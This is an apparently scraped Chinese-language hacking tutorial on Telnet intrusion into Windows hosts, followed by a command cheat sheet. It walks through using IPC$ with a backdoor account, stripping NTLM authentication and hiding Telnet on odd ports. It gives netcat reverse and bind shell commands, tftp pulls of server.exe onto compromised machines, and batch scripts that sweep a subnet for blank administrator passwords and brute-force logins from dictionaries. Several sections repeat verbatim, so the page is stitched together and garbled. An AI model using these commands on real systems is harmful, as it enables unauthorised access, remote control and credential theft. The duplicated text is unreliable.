(3)關於NTLM驗證

由於Telnet功能太強大,而且也是入侵者使用最頻繁的登錄手段之一,因此微軟公司為Telnet添加了身份驗證,稱為NTLM驗證,它要求Telnet終端除了需要有Telnet服務主機的用戶名和密碼外,還需要滿足NTLM驗證關系。NTLM驗證大大增強了Telnet主機的安全性,就像一隻攔路虎把很多入侵者拒之門外。

(4)使用Telnet登錄

登錄命令:telnet HOST [PORT]

斷開Telnet連接的命令:exit

成功地建立Telnet連接,除了要求掌握遠程計算機上的賬號和密碼外,還需要遠程計算機已經開啟「Telnet服務」,並去除NTLM驗證。也可以使用專門的Telnet工具來進行連接,比如STERM,CTERM等工具。

Telnet典型入侵

(1)Telnet典型入侵步驟

步驟一:建立IPC$連接。其中sysback是前面建立的後門賬號。

步驟二:開啟遠程主機中被禁用的Telnet服務。

步驟三:斷開IPC$連接。

步驟四:去掉NTLM驗證。如果沒有去除遠程計算機上的NTLM驗證,在登錄遠程計算機的時候就會失敗。

不過入侵者會使用各種方法使NTLM驗證形同虛設。解除NTLM的方法有很多,下面列出一些常用的方法,來看看入侵者如何去除NTLM驗證。

方法一

首先,在本地計算機上建立一個與遠程主機上相同的賬號和密碼。

然後,通過「開始」→「程序」→「附件」找到「命令提示符」,使用滑鼠右鍵單擊「命令提示符」,然後選擇「屬性」,打開後如圖所示

在「以其他用戶身份運行(U)」前面「打鉤」,然後單擊「確定」按鈕。接著,仍然按照上述路徑找到「命令提示符」,用滑鼠左鍵單擊打開,得到如圖所示對話框,鍵入「用戶名」和「密碼」。

單擊「確定」按鈕後,得到MS-DOS界面,然後用該MS-DOS進行Telnet登錄,如圖所示。

鍵入「telnet 192.168.27.128」命令並回車後,在得到的界面中鍵入「y」表示發送密碼並登錄。

遠程主機為Telnet終端用戶打開的Shell,在該Shell中輸入的命令將會直接在遠程計算機上執行。

比如,鍵入「net user」命令來查看遠程主機上的用戶列表,如圖所示。

方法二

該方法使用工具NTLM.EXE來去除NTLM驗證。首先與遠程主機建立IPC$連接,然後將NTLM.EXE拷貝至遠程主機,最後通過at命令使遠程計算機執行NTLM.EXE。

計劃任務執行NTLM.EXE後,便可鍵入「telnet 192.168.27.128」命令來登錄遠程計算機。

在該登錄界面中鍵入用戶名和密碼,如果用戶名和密碼正確,便會登錄到遠程計算 機,得到遠程計算機的Shell。

另外,還可以使用與opentelnet.exe相配套的程序resumetelnet.exe來恢復遠程主機的NTLM驗證,命令格式為「ResumeTelnet.exe \\\\server sername password」。

resumetelnet.exe關閉了目標主機的Telnet服務,恢復了NTLM驗證。

從前面的介紹可以看出,即使計算機使用了NTLM驗證,入侵者還是能夠輕松地去除NTLM驗證來實現Telnet登錄。如果入侵者使用23號埠登錄,管理員便可以輕易地發現他們,但不幸的是,入侵者通常不會通過默認的23號埠進行Telnet連接。那麼入侵者究竟如何修改Telnet埠,又如何修改Telnet服務來隱蔽行蹤呢?下面舉一些常見的例子來說明這一過程,並介紹一下完成這一過程所需要的工具。

è X-Scan:用來掃出存在NT弱口令的主機。

è opentelnet:用來去NTLM驗證、開啟Telnet服務、修改Telnet服務埠。

è AProMan:用來查看進程、殺死進程。

è instsrv:用來給主機安裝服務。

方法二

該方法使用工具NTLM.EXE來去除NTLM驗證。首先與遠程主機建立IPC$連接,然後將NTLM.EXE拷貝至遠程主機,最後通過at命令使遠程計算機執行NTLM.EXE。

計劃任務執行NTLM.EXE後,便可鍵入「telnet 192.168.27.128」命令來登錄遠程計算機。

在該登錄界面中鍵入用戶名和密碼,如果用戶名和密碼正確,便會登錄到遠程計算 機,得到遠程計算機的Shell。

另外,還可以使用與opentelnet.exe相配套的程序resumetelnet.exe來恢復遠程主機的NTLM驗證,命令格式為「ResumeTelnet.exe \\\\server sername password」。

resumetelnet.exe關閉了目標主機的Telnet服務,恢復了NTLM驗證。

從前面的介紹可以看出,即使計算機使用了NTLM驗證,入侵者還是能夠輕松地去除NTLM驗證來實現Telnet登錄。如果入侵者使用23號埠登錄,管理員便可以輕易地發現他們,但不幸的是,入侵者通常不會通過默認的23號埠進行Telnet連接。那麼入侵者究竟如何修改Telnet埠,又如何修改Telnet服務來隱蔽行蹤呢?下面舉一些常見的例子來說明這一過程,並介紹一下完成這一過程所需要的工具。

è X-Scan:用來掃出存在NT弱口令的主機。

è opentelnet:用來去NTLM驗證、開啟Telnet服務、修改Telnet服務埠。

è AProMan:用來查看進程、殺死進程。

è instsrv:用來給主機安裝服務。

什麼是Telnet

對於Telnet的認識,不同的人持有不同的觀點,可以把Telnet當成一種通信協議,但是對於入侵者而言,Telnet只是一種遠程登錄的工具。一旦入侵者與遠程主機建立了Telnet連接,入侵者便可以使用目標主機上的軟、硬體資源,而入侵者的本地機只相當於一個只有鍵盤和顯示器的終端而已。

Telnet被入侵者用來做什麼

(1)Telnet是控制主機的第一手段

在前幾節介紹過,如果入侵者想要在遠程主機上執行命令,需要建立IPC$連接,然後使用net time命令查看系統時間,最後使用at命令建立計劃任務才能完成遠程執行命令。雖然這種方法能夠遠程執行命令,但相比之下,Telnet方式對入侵者而言則會方便得多。入侵者一旦與遠程主機建立Telnet連接,就可以像控制本地計算機一樣來控制遠程計算機。可見,Telnet方式是入侵者慣於使用的遠程式控制制方式,當他們千方百計得到遠程主機的管理員許可權後,一般都會使用Telnet方式進行登錄。

(2)用來做跳板

入侵者把用來隱身的肉雞稱之為「跳板」,他們經常用這種方法,從一個「肉雞」登錄到另一個「肉雞」,這樣在入侵過程中就不會暴露自己的IP地址,這一過程將在第5章中詳細介紹。

(3)關於NTLM驗證

由於Telnet功能太強大,而且也是入侵者使用最頻繁的登錄手段之一,因此微軟公司為Telnet添加了身份驗證,稱為NTLM驗證,它要求Telnet終端除了需要有Telnet服務主機的用戶名和密碼外,還需要滿足NTLM驗證關系。NTLM驗證大大增強了Telnet主機的安全性,就像一隻攔路虎把很多入侵者拒之門外。

(4)使用Telnet登錄

登錄命令:telnet HOST [PORT]

斷開Telnet連接的命令:exit

成功地建立Telnet連接,除了要求掌握遠程計算機上的賬號和密碼外,還需要遠程計算機已經開啟「Telnet服務」,並去除NTLM驗證。也可以使用專門的Telnet工具來進行連接,比如STERM,CTERM等工具。

Telnet典型入侵

(1)Telnet典型入侵步驟

步驟一:建立IPC$連接。其中sysback是前面建立的後門賬號。

步驟二:開啟遠程主機中被禁用的Telnet服務。

步驟三:斷開IPC$連接。

步驟四:去掉NTLM驗證。如果沒有去除遠程計算機上的NTLM驗證,在登錄遠程計算機的時候就會失敗。

不過入侵者會使用各種方法使NTLM驗證形同虛設。解除NTLM的方法有很多,下面列出一些常用的方法,來看看入侵者如何去除NTLM驗證。

方法一

首先,在本地計算機上建立一個與遠程主機上相同的賬號和密碼。

然後,通過「開始」→「程序」→「附件」找到「命令提示符」,使用滑鼠右鍵單擊「命令提示符」,然後選擇「屬性」,打開後如圖所示

在「以其他用戶身份運行(U)」前面「打鉤」,然後單擊「確定」按鈕。接著,仍然按照上述路徑找到「命令提示符」,用滑鼠左鍵單擊打開,得到如圖所示對話框,鍵入「用戶名」和「密碼」。

單擊「確定」按鈕後,得到MS-DOS界面,然後用該MS-DOS進行Telnet登錄,如圖所示。

鍵入「telnet 192.168.27.128」命令並回車後,在得到的界面中鍵入「y」表示發送密碼並登錄。

遠程主機為Telnet終端用戶打開的Shell,在該Shell中輸入的命令將會直接在遠程計算機上執行。

比如,鍵入「net user」命令來查看遠程主機上的用戶列表,如圖所示。

方法二

該方法使用工具NTLM.EXE來去除NTLM驗證。首先與遠程主機建立IPC$連接,然後將NTLM.EXE拷貝至遠程主機,最後通過at命令使遠程計算機執行NTLM.EXE。

計劃任務執行NTLM.EXE後,便可鍵入「telnet 192.168.27.128」命令來登錄遠程計算機。

在該登錄界面中鍵入用戶名和密碼,如果用戶名和密碼正確,便會登錄到遠程計算 機,得到遠程計算機的Shell。

另外,還可以使用與opentelnet.exe相配套的程序resumetelnet.exe來恢復遠程主機的NTLM驗證,命令格式為「ResumeTelnet.exe \\\\server sername password」。

resumetelnet.exe關閉了目標主機的Telnet服務,恢復了NTLM驗證。

從前面的介紹可以看出,即使計算機使用了NTLM驗證,入侵者還是能夠輕松地去除NTLM驗證來實現Telnet登錄。如果入侵者使用23號埠登錄,管理員便可以輕易地發現他們,但不幸的是,入侵者通常不會通過默認的23號埠進行Telnet連接。那麼入侵者究竟如何修改Telnet埠,又如何修改Telnet服務來隱蔽行蹤呢?下面舉一些常見的例子來說明這一過程,並介紹一下完成這一過程所需要的工具。

è X-Scan:用來掃出存在NT弱口令的主機。

è opentelnet:用來去NTLM驗證、開啟Telnet服務、修改Telnet服務埠。

è AProMan:用來查看進程、殺死進程。

è instsrv:用來給主機安裝服務。

方法二

該方法使用工具NTLM.EXE來去除NTLM驗證。首先與遠程主機建立IPC$連接,然後將NTLM.EXE拷貝至遠程主機,最後通過at命令使遠程計算機執行NTLM.EXE。

計劃任務執行NTLM.EXE後,便可鍵入「telnet 192.168.27.128」命令來登錄遠程計算機。

在該登錄界面中鍵入用戶名和密碼,如果用戶名和密碼正確,便會登錄到遠程計算 機,得到遠程計算機的Shell。

另外,還可以使用與opentelnet.exe相配套的程序resumetelnet.exe來恢復遠程主機的NTLM驗證,命令格式為「ResumeTelnet.exe \\\\server sername password」。

resumetelnet.exe關閉了目標主機的Telnet服務,恢復了NTLM驗證。

從前面的介紹可以看出,即使計算機使用了NTLM驗證,入侵者還是能夠輕松地去除NTLM驗證來實現Telnet登錄。如果入侵者使用23號埠登錄,管理員便可以輕易地發現他們,但不幸的是,入侵者通常不會通過默認的23號埠進行Telnet連接。那麼入侵者究竟如何修改Telnet埠,又如何修改Telnet服務來隱蔽行蹤呢?下面舉一些常見的例子來說明這一過程,並介紹一下完成這一過程所需要的工具。

è X-Scan:用來掃出存在NT弱口令的主機。

è opentelnet:用來去NTLM驗證、開啟Telnet服務、修改Telnet服務埠。

è AProMan:用來查看進程、殺死進程。

è instsrv:用來給主機安裝服務。

FTP一般你沒有設置密碼或者太簡單,密碼跟帳號一樣
檢測的軟體都會提示你弱口令

中國黑客聯盟
東方@神起

❻ 運行里有什麼命令啊

net use \\ip\ipc$ " " /user:" " 建立IPC空鏈接
net use \\ip\ipc$ "密碼" /user:"用戶名" 建立IPC非空鏈接
net use h: \\ip\c$ "密碼" /user:"用戶名" 直接登陸後映射對方C:到本地為H:
net use h: \\ip\c$ 登陸後映射對方C:到本地為H:
net use \\ip\ipc$ /嘩搜del 刪除IPC鏈接
net use h: /del 刪除映射對方到本地的為H:的映射
net user 用戶名 密碼 /add 建立用戶
net user guest /active:yes 激活guest用戶
net user 查看有哪些用戶
net user 帳戶名 查看帳戶的屬性
net localgroup administrators 用戶名 /add 把「用戶」添加到管理員中使其具有管理員許可權,注意:administrator後加s用復數
net start 查看開啟了哪些服務
net start 服務名 開啟服務;(如:net start telnet, net start schele)
net stop 服務名 停止某服務
net time \\目標ip 查看對方時間
net time \\目標ip /set 設置本地計算機時間與「目標IP」主機的時間同步,加上參數/yes可取消確認信息
net view 查看本地區域網內開啟了哪些共扒蘆臘享
net view \\ip 查看對方區域網內開啟了哪些共享
net config 顯示系統網路設置
net logoff 斷開連接的共享
net pause 服務名 暫停某服務
net send ip "文本信息" 向對方發信息
net ver 區域網內正在使用的網路連接類型和信息
net share 查看本地開啟的共享
net share ipc$ 開啟ipc$共享
net share ipc$ /del 刪除ipc$共享
net share c$ /del 刪除C:共享
net user guest 12345 用guest用戶登陸後用將密碼改為12345
net password 密碼 更改系統登陸密碼
netstat -a 查看開啟了哪些埠,常用netstat -an
netstat -n 查看埠的網路連接情況,常用netstat -an
netstat -v 查看正在進行的工作
netstat -p 協議名 例:netstat -p tcq/ip 查看某協議使用情況(查看tcp/ip協議使用情況)
netstat -s 查看正在使用的所有協議使用情況
nbtstat -A ip 對方136到139其中一個埠開了的話,就可查看對方最近登陸的用戶名(03前的為用戶名)-注意:參數-A要大寫
tracert -參數 ip(或計算機名) 跟蹤路由(數據包),參數:「-w數字」用於設置超時間隔。
ping ip(或域名) 向對方主機發送默認大小為32位元組的數據,參數:「-l[空格]數據包大小」;「-n發送數據次數」;「-t」指一直ping。
ping -t -l 65550 ip 死亡之ping(發送大於64K的文件並一直ping就成了死亡之ping)
ipconfig (winipcfg) 用於windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用參數「春滑/all」顯示全部配置信息
tlist -t 以樹行列表顯示進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
kill -F 進程名 加-F參數後強制結束某進程(為系統的附加工具,默認是沒有安裝的,在安裝目錄的Support/tools文件夾內)
del -F 文件名 加-F參數後就可刪除只讀文件,/AR、/AH、/AS、/AA分別表示刪除只讀、隱藏、系統、存檔文件,/A-R、/A-H、/A-S、/A-A表示刪除除只讀、隱藏、系統、存檔以外的文件。例如「DEL/AR *.*」表示刪除當前目錄下所有隻讀文件,「DEL/A-S *.*」表示刪除當前目錄下除系統文件以外的所有文件

#2 二:

del /S /Q 目錄 或用:rmdir /s /Q 目錄 /S刪除目錄及目錄下的所有子目錄和文件。同時使用參數/Q 可取消刪除操作時的系統確認就直接刪除。(二個命令作用相同)
move 盤符\路徑\要移動的文件名 存放移動文件的路徑\移動後文件名 移動文件,用參數/y將取消確認移動目錄存在相同文件的提示就直接覆蓋
fc one.txt two.txt > 3st.txt 對比二個文件並把不同之處輸出到3st.txt文件中,"> "和"> >" 是重定向命令
at id號 開啟已注冊的某個計劃任務
at /delete 停止所有計劃任務,用參數/yes則不需要確認就直接停止
at id號 /delete 停止某個已注冊的計劃任務
at 查看所有的計劃任務
at \\ip time 程序名(或一個命令) /r 在某時間運行對方某程序並重新啟動計算機
finger username @host 查看最近有哪些用戶登陸
telnet ip 埠 遠和登陸伺服器,默認埠為23
open ip 連接到IP(屬telnet登陸後的命令)
telnet 在本機上直接鍵入telnet 將進入本機的telnet
路徑\文件名1 路徑\文件名2 /y 復制文件1到指定的目錄為文件2,用參數/y就同時取消確認你要改寫一份現存目錄文件
c:\srv.exe \\ip\admin$ 復制本地c:\srv.exe到對方的admin下
cppy 1st.jpg/b+2st.txt/a 3st.jpg 將2st.txt的內容藏身到1st.jpg中生成3st.jpg新的文件,註:2st.txt文件頭要空三排,參數:/b指二進制文件,/a指ASCLL格式文件
\\ip\admin$\svv.exe c:\ 或:\\ip\admin$\*.* 復制對方admini$共享下的srv.exe文件(所有文件)至本地C:
x 要復制的文件或目錄樹 目標地址\目錄名 復制文件和目錄樹,用參數/Y將不提示覆蓋相同文件
tftp -i 自己IP(用肉機作跳板時這用肉機IP) get server.exe c:\server.exe 登陸後,將「IP」的server.exe下載到目標主機c:\server.exe 參數:-i指以二進制模式傳送,如傳送exe文件時用,如不加-i 則以ASCII模式(傳送文本文件模式)進行傳送
tftp -i 對方IP put c:\server.exe 登陸後,上傳本地c:\server.exe至主機
ftp ip 埠 用於上傳文件至伺服器或進行文件操作,默認埠為21。bin指用二進制方式傳送(可執行文件進);默認為ASCII格式傳送(文本文件時)
route print 顯示出IP路由,將主要顯示網路地址Network addres,子網掩碼Netmask,網關地址Gateway addres,介面地址Interface
arp 查看和處理ARP緩存,ARP是名字解析的意思,負責把一個IP解析成一個物理性的MAC地址。arp -a將顯示出全部信息
start 程序名或命令 /max 或/min 新開一個新窗口並最大化(最小化)運行某程序或命令
mem 查看cpu使用情況
attrib 文件名(目錄名) 查看某文件(目錄)的屬性
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存檔,只讀,系統,隱藏 屬性;用+則是添加為某屬性
dir 查看文件,參數:/Q顯示文件及目錄屬系統哪個用戶,/T:C顯示文件創建時間,/T:A顯示文件上次被訪問時間,/T:W上次被修改時間
date /t 、 time /t 使用此參數即「DATE/T」、「TIME/T」將只顯示當前日期和時間,而不必輸入新日期和時間
set 指定環境變數名稱=要指派給變數的字元 設置環境變數
set 顯示當前所有的環境變數
set p(或其它字元) 顯示出當前以字元p(或其它字元)開頭的所有環境變數
pause 暫停批處理程序,並顯示出:請按任意鍵繼續....
if 在批處理程序中執行條件處理(更多說明見if命令及變數)
goto 標簽 將cmd.exe導向到批處理程序中帶標簽的行(標簽必須單獨一行,且以冒號打頭,例如:「:start」標簽)
call 路徑\批處理文件名 從批處理程序中調用另一個批處理程序 (更多說明見call /?)
for 對一組文件中的每一個文件執行某個特定命令(更多說明見for命令及變數)
echo on或off 打開或關閉echo,僅用echo不加參數則顯示當前echo設置
echo 信息 在屏幕上顯示出信息
echo 信息 >> pass.txt 將"信息"保存到pass.txt文件中
findstr "Hello" aa.txt 在aa.txt文件中尋找字元串hello
find 文件名 查找某文件
title 標題名字 更改CMD窗口標題名字
color 顏色值 設置cmd控制台前景和背景顏色;0=黑、1=藍、2=綠、3=淺綠、4=紅、5=紫、6=黃、7=白、8=灰、9=淡藍、A=淡綠、B=淡淺綠、C=淡紅、D=淡紫、E=淡黃、F=亮白
prompt 名稱 更改cmd.exe的顯示的命令提示符(把C:\、D:\統一改為:EntSky\ )

#3 三:

ver 在DOS窗口下顯示版本信息
winver 彈出一個窗口顯示版本信息(內存大小、系統版本、補丁版本、計算機名)
format 盤符 /FS:類型 格式化磁碟,類型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
md 目錄名 創建目錄
replace 源文件 要替換文件的目錄 替換文件
ren 原文件名 新文件名 重命名文件名
tree 以樹形結構顯示出目錄,用參數-f 將列出第個文件夾中文件名稱
type 文件名 顯示文本文件的內容
more 文件名 逐屏顯示輸出文件
doskey 要鎖定的命令=字元
doskey 要解鎖命令= 為DOS提供的鎖定命令(編輯命令行,重新調用win2k命令,並創建宏)。如:鎖定dir命令:doskey dir=entsky (不能用doskey dir=dir);解鎖:doskey dir=
taskmgr 調出任務管理器
chkdsk /F D: 檢查磁碟D並顯示狀態報告;加參數/f並修復磁碟上的錯誤
tlntadmn telnt服務admn,鍵入tlntadmn選擇3,再選擇8,就可以更改telnet服務默認埠23為其它任何埠
exit 退出cmd.exe程序或目前,用參數/B則是退出當前批處理腳本而不是cmd.exe
path 路徑\可執行文件的文件名 為可執行文件設置一個路徑。
cmd 啟動一個win2K命令解釋窗口。參數:/eff、/en 關閉、開啟命令擴展;更我詳細說明見cmd /?
regedit /s 注冊表文件名 導入注冊表;參數/S指安靜模式導入,無任何提示;
regedit /e 注冊表文件名 導出注冊表
cacls 文件名 參數 顯示或修改文件訪問控制列表(ACL)——針對NTFS格式時。參數:/D 用戶名:設定拒絕某用戶訪問;/P 用戶名:perm 替換指定用戶的訪問許可權;/G 用戶名:perm 賦予指定用戶訪問許可權;Perm 可以是: N 無,R 讀取, W 寫入, C 更改(寫入),F 完全控制;例:cacls D:\test.txt /D pub 設定d:\test.txt拒絕pub用戶訪問。
cacls 文件名 查看文件的訪問用戶許可權列表
REM 文本內容 在批處理文件中添加註解
netsh 查看或更改本地網路配置情況

#4 四:

IIS服務命令:
iisreset /reboot 重啟win2k計算機(但有提示系統將重啟信息出現)
iisreset /start或stop 啟動(停止)所有Internet服務
iisreset /restart 停止然後重新啟動所有Internet服務
iisreset /status 顯示所有Internet服務狀態
iisreset /enable或disable 在本地系統上啟用(禁用)Internet服務的重新啟動
iisreset /rebootonerror 當啟動、停止或重新啟動Internet服務時,若發生錯誤將重新開機
iisreset /noforce 若無法停止Internet服務,將不會強制終止Internet服務
iisreset /timeout Val在到達逾時間(秒)時,仍未停止Internet服務,若指定/rebootonerror參數,則電腦將會重新開機。預設值為重新啟動20秒,停止60秒,重新開機0秒。
FTP 命令: (後面有詳細說明內容)
ftp的命令行格式為:
ftp -v -d -i -n -g[主機名] -v 顯示遠程伺服器的所有響應信息。
-d 使用調試方式。
-n 限制ftp的自動登錄,即不使用.netrc文件。
-g 取消全局文件名。
help [命令] 或 ?[命令] 查看命令說明
bye 或 quit 終止主機FTP進程,並退出FTP管理方式.
pwd 列出當前遠端主機目錄
put 或 send 本地文件名 [上傳到主機上的文件名] 將本地一個文件傳送至遠端主機中
get 或 recv [遠程主機文件名] [下載到本地後的文件名] 從遠端主機中傳送至本地主機中
mget [remote-files] 從遠端主機接收一批文件至本地主機
mput local-files 將本地主機中一批文件傳送至遠端主機
dir 或 ls [remote-directory] [local-file] 列出當前遠端主機目錄中的文件.如果有本地文件,就將結果寫至本地文件
ascii 設定以ASCII方式傳送文件(預設值)
bin 或 image 設定以二進制方式傳送文件
bell 每完成一次文件傳送,報警提示
cp 返回上一級目錄
close 中斷與遠程伺服器的ftp會話(與open對應)
open host[port] 建立指定ftp伺服器連接,可指定連接埠
delete 刪除遠端主機中的文件
mdelete [remote-files] 刪除一批文件
mkdir directory-name 在遠端主機中建立目錄
rename [from] [to] 改變遠端主機中的文件名
rmdir directory-name 刪除遠端主機中的目錄
status 顯示當前FTP的狀態
system 顯示遠端主機系統類型
user user-name [password] [account] 重新以別的用戶名登錄遠端主機
open host [port] 重新建立一個新的連接
prompt 交互提示模式
macdef 定義宏命令
lcd 改變當前本地主機的工作目錄,如果預設,就轉到當前用戶的HOME目錄
chmod 改變遠端主機的文件許可權
case 當為ON時,用MGET命令拷貝的文件名到本地機器中,全部轉換為小寫字母
cd remote-dir 進入遠程主機目錄
cp 進入遠程主機目錄的父目錄
! 在本地機中執行交互shell,exit回到ftp環境,如!ls*.zip

#5 五:

MYSQL 命令:
mysql -h主機地址 -u用戶名 -p密碼 連接MYSQL;如果剛安裝好MYSQL,超級用戶root是沒有密碼的。
(例:mysql -h110.110.110.110 -Uroot -P123456
注:u與root可以不用加空格,其它也一樣)
exit 退出MYSQL
mysqladmin -u用戶名 -p舊密碼 password 新密碼 修改密碼
grant select on 資料庫.* to 用戶名@登錄主機 identified by \"密碼\"; 增加新用戶。(注意:和上面不同,下面的因為是MYSQL環境中的命令,所以後面都帶一個分號作為命令結束符)
show databases; 顯示資料庫列表。剛開始時才兩個資料庫:mysql和test。mysql庫很重要它裡面有MYSQL的系統信息,我們改密碼和新增用戶,實際上就是用這個庫進行操作。
use mysql;
show tables; 顯示庫中的數據表
describe 表名; 顯示數據表的結構
create database 庫名; 建庫
use 庫名;
create table 表名 (欄位設定列表); 建表
drop database 庫名;
drop table 表名; 刪庫和刪表
delete from 表名; 將表中記錄清空
select * from 表名; 顯示表中的記錄
mysqlmp --opt school>school.bbb 備份資料庫:(命令在DOS的\\mysql\\bin目錄下執行);注釋:將資料庫school備份到school.bbb文件,school.bbb是一個文本文件,文件名任取,打開看看你會有新發現。
win2003系統下新增命令(實用部份):
shutdown /參數 關閉或重啟本地或遠程主機。
參數說明:/S 關閉主機,/R 重啟主機, /T 數字 設定延時的時間,范圍0~180秒之間, /A取消開機,/M //IP 指定的遠程主機。
例:shutdown /r /t 0 立即重啟本地主機(無延時)
taskill /參數 進程名或進程的pid 終止一個或多個任務和進程。
參數說明:/PID 要終止進程的pid,可用tasklist命令獲得各進程的pid,/IM 要終止的進程的進程名,/F 強制終止進程,/T 終止指定的進程及他所啟動的子進程。
tasklist 顯示當前運行在本地和遠程主機上的進程、服務、服務各進程的進程標識符(PID)。
參數說明:/M 列出當前進程載入的dll文件,/SVC 顯示出每個進程對應的服務,無參數時就只列出當前的進程。

#6 六:

Linux系統下基本命令: 要區分大小寫
uname 顯示版本信息(同win2K的 ver)
dir 顯示當前目錄文件,ls -al 顯示包括隱藏文件(同win2K的 dir)
pwd 查詢當前所在的目錄位置
cd cd ..回到上一層目錄,注意cd 與..之間有空格。cd /返回到根目錄。
cat 文件名 查看文件內容
cat >abc.txt 往abc.txt文件中寫上內容。
more 文件名 以一頁一頁的方式顯示一個文本文件。
cp 復制文件
mv 移動文件
rm 文件名 刪除文件,rm -a 目錄名刪除目錄及子目錄
mkdir 目錄名 建立目錄
rmdir 刪除子目錄,目錄內沒有文檔。
chmod 設定檔案或目錄的存取許可權
grep 在檔案中查找字元串
diff 檔案文件比較
find 檔案搜尋
date 現在的日期、時間
who 查詢目前和你使用同一台機器的人以及Login時間地點
w 查詢目前上機者的詳細資料
whoami 查看自己的帳號名稱
groups 查看某人的Group
passwd 更改密碼
history 查看自己下過的命令
ps 顯示進程狀態
kill 停止某進程
gcc 黑客通常用它來編譯C語言寫的文件
su 許可權轉換為指定使用者
telnet IP telnet連接對方主機(同win2K),當出現bash$時就說明連接成功。
ftp ftp連接上某伺服器(同win2K)

附:批處理命令與變數

1:for命令及變數 基本格式:
FOR /參數 %variable IN (set) DO command [command_parameters] %variable:指定一個單一字母可替換的參數,如:%i ,而指定一個變數則用:%%i ,而調用變數時用:%i% ,變數是區分大小寫的(%i 不等於 %I)。
批處理每次能處理的變數從%0—%9共10個,其中%0默認給批處理文件名使用,%1默認為使用此批處理時輸入的的第一個值,同理:%2—%9指輸入的第2-9個值;例:net use \\ip\ipc$ pass /user:user 中ip為%1,pass為%2 ,user為%3

(set):指定一個或一組文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{ 「(1 1 254)」第一個"1"指起始值,第二個"1"指增長量,第三個"254"指結束值,即:從1到254;「(1 -1 254)」說明:即從254到1 }

command:指定對第個文件執行的命令,如:net use命令;如要執行多個命令時,命令這間加:& 來隔開
command_parameters:為特定命令指定參數或命令行開關

IN (set):指在(set)中取值;DO command :指執行command

參數:/L 指用增量形式{ (set)為增量形式時 };/F 指從文件中不斷取值,直到取完為止{ (set)為文件時,如(d:\pass.txt)時 }。
用法舉例:
@echo off
echo 用法格式:test.bat *.*.* > test.txt

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt
存為test.bat 說明:對指定的一個C類網段的254個IP依次試建立administrator密碼為空的IPC$連接,如果成功就把該IP存在test.txt中。

/L指用增量形式(即從1-254或254-1);輸入的IP前面三位:*.*.*為批處理默認的 %1;%%G 為變數(ip的最後一位);& 用來隔開echo 和net use 這二個命令;| 指建立了ipc$後,在結果中用find查看是否有"命令成功完成"信息;%1.%%G 為完整的IP地址;(1 1 254) 指起始值,增長量,結止值。
@echo off
echo 用法格式:ok.bat ip
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
存為:ok.exe 說明:輸入一個IP後,用字典文件d:\pass.dic來暴解d:\user.dic中的用戶密碼,直到文件中值取完為止。%%i為用戶名;%1為輸入的IP地址(默認)。

#7 七:

2:if命令及變數 基本格式:
IF [not] errorlevel 數字 命令語句 如果程序運行最後返回一個等於或大於指定數字的退出編碼,指定條件為「真」。
例:IF errorlevel 0 命令 指程序執行後返回的值為0時,就值行後面的命令;IF not errorlevel 1 命令指程序執行最後返回的值不等於1,就執行後面的命令。
0 指發現並成功執行(真);1 指沒有發現、沒執行(假)。
IF [not] 字元串1==字元串2 命令語句 如果指定的文本字元串匹配(即:字元串1 等於 字元串2),就執行後面的命令。
例:「if "%2%"=="4" goto start」指:如果輸入的第二個變數為4時,執行後面的命令(注意:調用變數時就%變數名%並加" ")
IF [not] exist 文件名 命令語句 如果指定的文件名存在,就執行後面的命令。
例:「if not nc.exe goto end」指:如果沒有發現nc.exe文件就跳到":end"標簽處。
IF [not] errorlevel 數字 命令語句 else 命令語句或 IF [not] 字元串1==字元串2 命令語句 else 命令語句或 IF [not] exist 文件名 命令語句 else 命令語句 加上:else 命令語句後指:當前面的條件不成立時,就指行else後面的命令。注意:else 必須與 if 在同一行才有效。 當有del命令時需把del命令全部內容用< >括起來,因為del命令要單獨一行時才能執行,用上< >後就等於是單獨一行了;例如:「if exist test.txt. <del test.txt.> else echo test.txt.missing 」,注意命令中的「.」

(二)系統外部命令(均需下載相關工具):

1、瑞士軍刀:nc.exe

參數說明:
-h 查看幫助信息
-d 後台模式
-e prog程序重定向,一但連接就執行〔危險〕
-i secs延時的間隔
-l 監聽模式,用於入站連接
-L 監聽模式,連接天閉後仍然繼續監聽,直到CTR+C
-n IP地址,不能用域名
-o film記錄16進制的傳輸
-p[空格]埠 本地埠號
-r 隨機本地及遠程埠
-t 使用Telnet交互方式
-u UDP模式
-v 詳細輸出,用-vv將更詳細
-w數字 timeout延時間隔
-z 將輸入,輸出關掉(用於掃錨時)
基本用法:
nc -nvv 192.168.0.1 80 連接到192.168.0.1主機的80埠
nc -l -p 80 開啟本機的TCP 80埠並監聽
nc -nvv -w2 -z 192.168.0.1 80-1024 掃錨192.168.0.1的80-1024埠
nc -l -p 5354 -t -e c:winntsystem32cmd.exe 綁定remote主機的cmdshell在remote的TCP 5354埠
nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主機的cmdshell並反向連接192.168.0.2的5354埠
高級用法:
nc -L -p 80 作為蜜罐用1:開啟並不停地監聽80埠,直到CTR+C為止
nc -L -p 80 > c:\log.txt 作為蜜罐用2:開啟並不停地監聽80埠,直到CTR+C,同時把結果輸出到c:\log.txt
nc -L -p 80 < c:\honeyport.txt 作為蜜罐用3-1:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
type.exe c:\honeyport | nc -L -p 80 作為蜜罐用3-2:開啟並不停地監聽80埠,直到CTR+C,並把c:\honeyport.txt中內容送入管道中,亦可起到傳送文件作用
本機上用:nc -l -p 本機埠
在對方主機上用:nc -e cmd.exe 本機IP -p 本機埠 *win2K
nc -e /bin/sh 本機IP -p 本機埠 *linux,unix 反向連接突破對方主機的防火牆
本機上用:nc -d -l -p 本機埠 < 要傳送的文件路徑及名稱
在對方主機上用:nc -vv 本機IP 本機埠 > 存放文件的路徑及名稱 傳送文件到對方主機
備 註:
| 管道命令
< 或 > 重定向命令。「<」,例如:tlntadmn < test.txt 指把test.txt的內容賦值給tlntadmn命令
@ 表示執行@後面的命令,但不會顯示出來(後台執行);例:@dir c:\winnt >> d:\log.txt 意思是:後台執行dir,並把結果存在d:\log.txt中
